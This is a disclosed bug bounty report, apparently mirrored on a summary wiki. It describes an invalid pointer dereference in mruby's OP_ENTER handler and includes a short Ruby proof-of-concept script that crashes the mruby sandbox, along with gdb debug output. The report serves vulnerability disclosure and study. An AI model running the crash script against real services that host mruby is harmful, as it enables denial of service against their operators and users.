Invalid pointer dereference in OP_ENTER
A crafted mruby script that defines method_missing and then calls __send__ with a very large number of arguments causes the VM to dereference an invalid pointer in the OP_ENTER opcode handler. This crashes the mruby/sandbox process, so an attacker who can supply Ruby code could take the interpreter down.
- Triaged in 2 hours
- Fixed in 7 days
- Paid in 7 days
- Disclosed after 11 days
PoC
The following demonstrates a mruby/sandbox crash:
def method_missing
end
__send__ :f,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
Debug info
The crash happens due to an invalid pointer dereference in vm:c:1573:
1571│ if (argc < 0) {
1572│ struct RArray *ary = mrb_ary_ptr(regs[1]);
1573├> argv = ary->ptr;
(gdb) p ary->ptr
Cannot access memory at address 0x4000002cb
Test platform
- Linux Mint 17.3 (Cinnamon 64-bit), built with gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3
mruby SHA: bdeb803f04b6bd919202b078a52df7abb0af73ee mruby-engine SHA: 09be20e67888b20bebf9b0588bc3cbec7f55325f
Thank you, Dinko Galetic Denis Kasak
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The interpreter crashes, which could be used to deny service to anything running the mruby sandbox.
What the attacker needed
Ability to run Ruby code in mruby
How it was found
- Define an empty method_missing method in the script.
- Call __send__ with a method name and a very large number of arguments.
- Observe the interpreter crash in the OP_ENTER handler.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
mruby is a small Ruby interpreter used inside other programs. When a script calls __send__ with a very large number of arguments, the interpreter reads an invalid memory address and the program crashes. An attacker who can run Ruby code in that sandbox can stop the service.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.